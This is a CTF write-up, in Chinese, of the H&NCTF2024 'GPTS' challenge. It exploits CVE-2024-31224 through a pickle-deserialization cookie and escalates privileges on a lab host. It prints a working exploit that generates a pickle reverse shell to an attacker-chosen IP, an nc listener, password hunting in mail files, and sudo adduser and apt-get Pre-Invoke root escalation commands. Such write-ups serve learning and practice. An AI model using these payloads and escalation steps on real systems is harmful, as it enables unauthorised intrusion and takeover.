[H&NCTF2024]GPTS

发布于 2024-07-13  139 次阅读


考点: CVE-2024-31224 apt-get提权

开题是一个gpt的页面,通过信息搜寻找到相关CVE漏洞

相关利用文章可以自己去搜.就不多赘述了

image-20240514131439564

漏洞利用点就在这里

在进入时是没有带cookie的,但是点了确认并保存之后可以看到出现了cookie值

image-20240514131600343

在这里可以自定义cookie的值来利用pickle反序列化漏洞来弹shell exp如下:

import base64
import pickle
​
# 构造要执行的命令
command = "export RHOST=\"ip\"; export RPORT=2333; python -c 'import sys,socket,os,pty; s=socket.socket(); s.connect((os.getenv(\"RHOST\"), int(os.getenv(\"RPORT\")))); [os.dup2(s.fileno(), fd) for fd in (0,1,2)]; pty.spawn(\"sh\")'"
​
# 构造对应的opcode
opcode = f'cos\nsystem\n(S\'{command}\'\ntR.'
​
# 进行base64编码
encoded_opcode = base64.b64encode(opcode.encode()).decode()
​
print(encoded_opcode)

至于为什么要用python去弹shell,因为pickle是python的吧

改成自己的公网ip和自己想搞的端口

用这个exp生成的值来替换刚刚保存出现的cookie值

image-20240514132137277

然后再在公网ip上开nc

nc -lvnp 2333

刷新页面,回到自定义界面,再点击加载已保存

image-20240514132425659

拿到shell,但发现不是root且用户名是ctfgame,说明肯定要提权

试试:

sudo -l
image-20240514132534228

没密码搞不成

再看看passwd有什么没

cat /etc/passwd
image-20240514132700685

看到了还有一个ctfer的用户,猜测可能是要去找密码

找了一会发现再mail里有东西

cd /var/mail
ls
cat ctfgame

找到了ctfer的密码

image-20240514133059514
KbsrZrSCVeui#+R
su ctfer
sudo -l
image-20240514133435843

看到这个用户可以以root无密码执行/addser 于是有:

sudo /usr/sbin/adduser ctfer root
sudo adduser --gid 0 hahaha

把ctfer加到root用户组里

再创建一个新用户hahaha到root(0是root的ID)组里,再切换到这个用户

image-20240514134717467
image-20240514134814679

虽然是在root组里 但还是无法切换到/root里 说明还得想办法

根据提示查看到sudoers里有东西

cat /etc/sudoers
image-20240514135056515

看到kobe有免密root执行apt-get权限?!

那就再切到ctfer去加个kobe用户

su ctfer
sudo adduser --gid 0 kobe
su kobe
id
image-20240514135753660

然后就去搜一下apt-get提权的命令:

sudo /usr/bin/apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
image-20240514140059447

这回全root了嗷

cd /root
ls
cd fl0g000
ls
cat f1Aggg
image-20240514140200205

到此结束